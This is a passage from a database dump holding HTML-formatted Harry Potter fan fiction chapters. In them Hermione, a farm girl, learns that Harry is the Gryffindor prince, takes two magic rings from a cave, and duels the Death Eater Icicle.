Hermione go alone.&nbsp; I\'m\ngoing with her.&nbsp; Anybody else?&nbsp; Remus?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Harry, its\nthe full moon.&nbsp; I\'ll be totally invalid\nthen.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Oh yeah,\nforgot.&nbsp; Sorry about that.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\'s eyes suddenly brightened as she\nremembered what Snape had said about Wolfsbane.&nbsp; She turned to Remus.&nbsp;\n&quot;You\'re a werewolf?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Remus groaned.&nbsp;\n&quot;I\'m really not happy about people knowing that fact.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;It\'s OK,&quot; said Hermione.&nbsp; &quot;I don\'t care if you\'re a werewolf.&nbsp; You\'ve been very kind to me and that\'s what\nmatters.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Thank\nyou,&quot; said Remus as he smiled.&nbsp; The\ngratitude in his eyes was obvious.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry continued.&nbsp; &quot;Well, since Remus is out of the picture, Sirius?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Sorry\nHarry,&quot; said Sirius.&nbsp; &quot;Remus\nis going to be ill for a couple of days which means that I\'ll have to take full\ncommand of the armies.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry nodded and turned to Draco.&nbsp; &quot;Malfoy?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Draco snarled.&nbsp;\n&quot;Do you really think I would degrade myself to escort a\nmud...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Don\'t you\ndare call her a \'mudblood\',&quot; cut off Harry.&nbsp; His eyes were blazing with rage.&nbsp;\n&quot;If you really want to cut off ties with your father, then you have\nto drop the prejudices that he installed in you.&nbsp; If you can\'t do that, then you are no different from him.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;How dare you\ntalk to me that way, Potter,&quot; hissed Draco.&nbsp; His cold gray eyes were\nnarrowed to slits.&nbsp; &quot;I am Sir Draco\nMalfoy.&nbsp; I deserve the respect of the\nname Malfoy.&nbsp; I am the heir to the\nthrone of Slytherin!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">This news came as a complete shock to Hermione,\nbut at the same time it made sense.&nbsp; So\nSir Draco was King Lucius\'s son.&nbsp; That\nwas why he was so touchy about the subject of his father.&nbsp; In Lucius\'s eyes, he was seen as a\ntraitor.&nbsp; She knew King Lucius well\nenough that he would have no qualms in executing his own flesh and blood for\ntreason.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;You\'re a fool, Malfoy!&quot; declared\nHarry.&nbsp; &quot;You fail to realize that\nit doesn\'t matter what a person is!&nbsp;\nWhat matters is who a person is!&nbsp;\nIts not a person\'s name, or title, or power, that defines a person but\nrather the person\'s actions and heart!&nbsp;\nYour overemphasis on the so called \'purity of blood\' makes you no\ndifferent from the Death Eaters!&nbsp;\nRemember, that\'s their philosophy!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Draco glared at Harry but remained quiet.&nbsp; Finally he said &quot;Dumbledore\'s\nwords.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;More or less&quot; said Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Draco glared at Harry again before climbed onto\nNimbus and rode away.&nbsp; Harry sighed\nagain and turned to Hermione.&nbsp;\n&quot;Well, I guess its just the two of us then.&quot;&nbsp; He smiled at her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione smiled back, but she realized that she\nwas going to be alone with Harry for three days.&nbsp; She trusted Harry but she wasn\'t so sure if she trusted herself\naround the man she secretly loved.&nbsp;\n\'What&nbsp; will I do?\' she\nthought.&nbsp; \'I\'ve already broken down and\nkissed him once.&nbsp; What would I possibly\nend up doing with only the two of us?&nbsp;\nWhat if I break down again.\'&nbsp; She\ndecided that she would restrain herself from doing anything.&nbsp; Afterall, they weren\'t meant to be: she was\na farm girl, he was a knight.&nbsp; But at\nthe same time, she decided to treasure all of the moments she would be spending\nwith Sir Harry Potter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(56, 14, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Disclaimer: If I were J.K. Rowling, then would\nI be sitting in a college dorm room six miles south of Portland?</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter 14: The Two Rings</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">King Lucius Malfoy, the ruler of the Kingdom of\nSlytherin, was not having a good day.&nbsp;\nThings had started going downhill when the Heir to the throne of\nGryffindor had become a Mage Knight.&nbsp;\nThen, his own son, Draco, had betrayed him and also become a Mage\nKnight.&nbsp; Now it seemed to be only days\nbefore the Mage Knights would get a hold of the mysterious two Rings of the\nLion and the Phoenix.&nbsp; Though, nobody\nknew exactly how those two rings worked, everyone knew for certain that they\nwould be the key to the downfall of the Death Eaters.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Lucius groaned and placed his face in his\nhands.&nbsp; &quot;I\'m doomed,&quot; he\nmuttered.&nbsp; &quot;The cursed knights are\nclosing in on me and all I have on my side are a bunch of incompetent\nfools.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Come now, surely not all of us are\nincompetent.&quot;&nbsp; Lucius jumped when\nhe heard the voice.&nbsp; Icicle had entered\nthe throne room with a malevolent smirk on her face.&nbsp; &quot;I see you are having a bad day,&quot; she said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;What do you want?&quot; snarled Lucius.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Icicle smirked.&nbsp; &quot;Oh, not going to use manners for the one who\'s going to\nhand you the rings to you on a silver platter?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Lucius looked startled.&nbsp; &quot;You?&nbsp;\nHow?&nbsp; We don\'t even know where\nthey are,&quot; he snarled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Oh, but I do.&nbsp; We\'ve never had any use for the Mirror of Erised.&nbsp; I\'ve known all along.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;WHAT?!&quot; Lucius leapt to his feet,\nhis face red with fury.&nbsp; &quot;You\'ve\nknown all along and you\'ve never told me?!&nbsp;\nWHATEVER FOR?!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;One reason,&quot; smirked Icicle.&nbsp; &quot;Because the rings will only accept one\nperson and one person only to remove them from their resting place.&nbsp; Dumbledore knew all along who this one\nperson is.&nbsp; We\'ve only figured it out\nrecently.&nbsp; We simply decided that it\nwasn\'t necessary for you to know yet.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Lucius calmed down a little as he asked\n&quot;And your plan is?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Simple, really.&nbsp; I will let that person remove the rings, whereupon, I will steal\nthem.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Excellent,&quot; smirked Lucius.&nbsp; &quot;It looks like I\'m in your debt, but\nwhat does that matter?&nbsp; Go take the\nRings.&nbsp; Oh, and take Crabbe and Goyle\nwith you, just in case.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Icicle bowed and strolled out of the room.&nbsp; As she was about to exit, she caught sight\nof Riddle, who was leaning on the wall in a corner hidden by shadows.&nbsp; He caught her eye and gave her a sinister\ngrin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry and Hermione were sitting in front of a\nrocky hillside that was the entrance of the Caverns of Power.&nbsp; It was sealed shut with a large boulder, and\nthey had been sitting on a grassy ledge in front of it for the past hour and a\nhalf.&nbsp; It was already dark and the full\nmoon was climbing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">They had been traveling for the past three\ndays, mostly with an awkward silence between them.&nbsp; They had no problems chatting with each other at first, but after\na while, Hermione couldn\'t help but feel nervous around Harry.&nbsp; If she hadn\'t been so intent on controlling\nher own feelings, she would have noticed that Harry also seemed a little\nnervous around her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As they sat next to each other on the ledge,\nHermione couldn\'t help but notice how close they were to each other.&nbsp; She jumped a little when Harry suddenly\nspoke.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Hermione, I probably shouldn\'t bring this\nup now but...I think...if I don\'t tell you this now...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;What is it Harry?&quot; she asked.&nbsp; She finally noticed how nervous he looked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Well...uh...you remember what we talked\nabout during Ginny\'s birthday.&nbsp; About\nlove and such?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione sadly thought, \'Yes, when I forgot\nabout our social standings and kissed you.\'&nbsp;&nbsp;\n&quot;I remember,&quot; she said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Well...I wanted to tell you that...I\nthink...no, I\'ve found the right person.&nbsp;\nThe woman I want to spend the rest of my life with.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione felt her heart plummet.&nbsp; She thanked God that it was dark as she\nfought back tears.&nbsp; \'He\'s met right\nnoble woman for him,\'&nbsp; she thought\nbitterly.&nbsp; \'Stop it, Hermione!&nbsp; You\'ve always known that the two of you\nwould never be together.&nbsp; All you can do\nis be his friend and wish him happiness.\'&nbsp;\nShe forced a smile on her face but avoided his eyes.&nbsp; &quot;Well congratulations,&quot; she said.&nbsp; &quot;Now tell me, who\'s the lucky\ngirl?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry seemed to be contemplating something\nbefore he looked at her.&nbsp; &quot;Well,\nyou see Hermione...&quot;&nbsp; He never got\nto finish for at that moment, the full moon rose high enough so that its light\nhit a boulder on the rocky hillside.&nbsp;\nWith a grinding sound, the boulder rolled away, revealing the entrance\nto the cave.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Well, we\nbetter get this job done with,&quot; said Hermione.&nbsp; She sprang to her feet and strolled into the cave.&nbsp; Harry got up and followed after her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">After they walked down a long corridor, they\nentered a large room about the size of the Great Hall at Hogwarts.&nbsp; The stone room was completely bare, except\nfor a marble podium in the center of the room.&nbsp;\nPlaced on top of the podium were two rings: one was gold and the other\nwas scarlet.&nbsp; They were plain rings; the\nonly decoration they had were pictures of animals.&nbsp; The gold ring had a lion drawn on it while the scarlet ring had a\nphoenix.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;There they\nare&quot; said Harry.&nbsp; He made his way\nto the podium.&nbsp; Unfortunately, when he\nwas about a meter away, he walked into an invisible wall.&nbsp; &quot;Dammit!&quot; he cursed.&nbsp; &quot;There\'s got to be some sort of trick\nhere.&nbsp; What could it be.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione made her way right next to Harry.&nbsp; She looked at the rings for a moment before\nshe said, &quot;Let me try.&quot;&nbsp; She\nraised her hands to the invisible wall, only that it wasn\'t there any\nmore!&nbsp; Instead, there was a brilliant\nflash of light and the rings disappeared!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione started to panic.&nbsp; &quot;Oh no!&nbsp; What did I do?!&nbsp; Where did\nthey go?!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry however, was smiling at her.&nbsp; &quot;Look at you hands,&quot; he said.&nbsp; Hermione looked down at her hands and\ngasped.&nbsp; There they were: the Ring of\nthe Lion was on the ring finger of her right hand and the Ring of the Phoenix\nwas on the ring finger of her left hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry started laughing.&nbsp; &quot;So that\'s why Dumbledore wanted you on\nthis mission,&quot; he said.&nbsp; &quot;He\nprobably knew all along that you were the only one who could take the rings\nfrom here!&nbsp; Tricky that man,\nreally.&nbsp; Gee whiz.&nbsp; And to think that I thought that it would be\nmy royal blood that would...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\'s mind suddenly went blank as soon as\nHarry said &quot;my royal blood&quot;. &nbsp;A number of past incidents filled her head.&nbsp; How King James and Queen Lily had been\nassassinated sixteen years ago.&nbsp; How\nHarry had said that his parents died when he was only a year old.&nbsp; The name <i>Godric Gryffindor </i>written on\nHarry\'s sword.&nbsp; The way he was close to\nLords Sirius Black and Remus Lupin, Lily and James\'s best friends.&nbsp; How Sirius and Remus mentioned that they\nwere close friends with Harry\'s father, Prongs.&nbsp; The way the Gryffindor soldiers respected Harry.&nbsp; How she had never heard of the House of\nPotter amongst the Gryffindor nobility.&nbsp;\nAnd Harry\'s emerald green eyes.&nbsp;\nHow everyone said he had his mother\'s eyes.&nbsp; When Hermione had looked at the portrait of Queen Lily, she had\nthought the eyes looked familiar.&nbsp; Of\ncourse they looked familiar: they were identical to Harry\'s!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Tears suddenly started falling down her\nface.&nbsp; Harry noticed the tears and took\na step towards her.&nbsp; &quot;Hermione,\nwhat\'s wrong?&quot; he asked, concern shining in his emerald eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;You\'re a\nprince,&quot; whispered Hermione.&nbsp;\n&quot;You\'re King James and Queen Lily\'s son.&nbsp; You\'re the heir to the throne of Gryffindor.&nbsp; Why didn\'t you tell me?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry was surprised.&nbsp; &quot;I thought you knew,&quot; he said.&nbsp; &quot;It wasn\'t a secret.&nbsp; I thought everybody knew that the House of\nPotter was the Gryffindor royal family.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione remain silent for a moment as she\nstared into Harry\'s green eyes.&nbsp; She\nfinally whispered &quot;I love you, Harry.&quot;&nbsp; Then, before he could stop her, she turned around and ran out of\nthe room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">\'Idiot!\' she thought to herself as she ran,\nmore tears streaming down her cheeks.&nbsp;\n\'Why did you break down again?!&nbsp;\nWhy did you tell him that?!&nbsp; He\nloves another woman!&nbsp; Now your\nfriendship with him is ruined!\'&nbsp; But\nthere was no way that she could have kept it within herself any longer.&nbsp; It was bad enough that he was a knight and\nshe was a farm girl.&nbsp; But now, she knew\nthat he was actually a prince and whatever slight hope she had of being with\nhim had crumbled away.&nbsp; Giving into\ndespair, she had broken down completely.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione continued running until she exited the\nCaverns of Power.&nbsp; She stopped short\nright at the mouth of the cave.&nbsp; A woman\nwas waiting for her.&nbsp; A beautiful woman,\nwith long golden blond hair and icy blue eyes.&nbsp;\nShe was wearing tight, revealing, black robes and was carrying a dark\nstaff, decorated with dragon claws.&nbsp; It\nwas Icicle!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(56, 15, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Disclaimer:&nbsp;\nWish they were mine, but they\'re J.K. Rowling\'s.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter 15: Enter Icicle</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Icicle smirked at the young girl whom had just\nemerged from the cave.&nbsp; &quot;Hello my\ndear, it\'s a pleasure to finally meet you, my little mudblood.&quot;&nbsp; Her gaze went down to the two rings on\nHermione\'s fingers.&nbsp; &quot;My, what\npretty little rings you have.&nbsp; I would\nlike to take them for myself.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione felt a chill run down her spine.&nbsp; She raised her staff, spread her legs, and\nlowered her hips, thus placing herself in a battle ready stance.&nbsp; &quot;Are you a...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Death Eater?&nbsp; I most certainly am.&nbsp; But\nI would like it if you called me Icicle.&nbsp;\nAnd what may your name be, my little mudblood?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione gritted her teeth.&nbsp; &quot;Hermione Granger.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Pleased to meet you,&quot;&nbsp; Icicle smirked and took a step towards\nHermione.&nbsp; &quot;You wouldn\'t mind if\nyou just hand me those rings could you.&quot;&nbsp;\nHermione didn\'t move at all and just continued glaring at Icicle.&nbsp; &quot;I guess not.&nbsp; It looks like I\'m going to have to hurt you a little after\nall.&nbsp; <i>Crucio!</i>&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">With lightning fast reflexes, Hermione dodged\nthe Cruciatus Curse, leaving behind a smoldering crater.&nbsp; She raised her staff and shouted <i>&quot;Expelliarmus!&quot;</i>&nbsp; Icicle blocked the disarming spell.&nbsp; She grinned at Hermione and said,\n&quot;You\'re good, but not good enough I\'m afraid.&quot;&nbsp; She sent another Cruciatus Curse at Hermione\nwho once again dodged the curse.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione shouted, <i>&quot;Stupefy!&quot;</i>&nbsp; Icicle smirked as she blocked the\nspell.&nbsp; She was startled however, when\nshe suddenly found Hermione right in front of her, swinging her staff\ndown!&nbsp; Icicle raised her own staff in a\ndefensive posture and the two staffs met with a dull sound.&nbsp; Hermione wasn\'t finished yet as she shouted,\n<i>&quot;Incendio!&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Icicle screamed as she caught on fire.&nbsp; She rolled on the ground, trying to\nextinguish the flames while dodging Hermione\'s stunning curse at the 